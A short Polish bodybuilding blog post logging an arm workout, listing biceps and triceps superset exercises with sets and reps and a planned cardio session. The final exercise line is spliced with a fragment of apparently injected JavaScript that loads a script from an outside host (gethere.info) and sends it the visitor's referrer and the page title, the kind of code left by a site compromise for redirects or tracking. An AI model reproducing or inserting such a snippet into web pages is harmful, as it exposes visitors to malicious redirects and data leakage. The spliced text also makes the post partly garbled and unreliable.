14.03.2012

14.04.2012 / Tomasz Lech / Kulturystyka

Dzisiaj trenowałem ramiona.Postanowiłem że trening jaki dzisiaj wykonam będzie składał się w większości z ćwiczeń których na co dzień nie wykonuję.Chciałem zobaczyć jak zareagują moje mięśnie.Było tak jak myślałem niemiłosierna pompa na treningu.Poza tym każde ostatnie ćwiczenie kończyłem dropsetem.Trening robiłem w superseriach,wyglądał on następująco.

Biceps
-uginanie przedramion z drążkiem prostym wyciągu dolnego 4×12
-uginanie przedramienia jednorącz w oparciu o ławkę rzymską (coś na zasadzie modlitewnika z pionowym oparciem) 4×12
-uginanie młotkowe 4×12
Dzisiaj jeszcze mnie czeka tylko 40min aerobów które wykonam o godz. 21.30.

Triceps
-prostowanie przedramion na wyciągu górnym podchwytem jednorącz 4×12
-wyciskanie hantla siedząc-oburącz 4×15
-prostowanie przedramion z prostym drążkiem 4x15s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;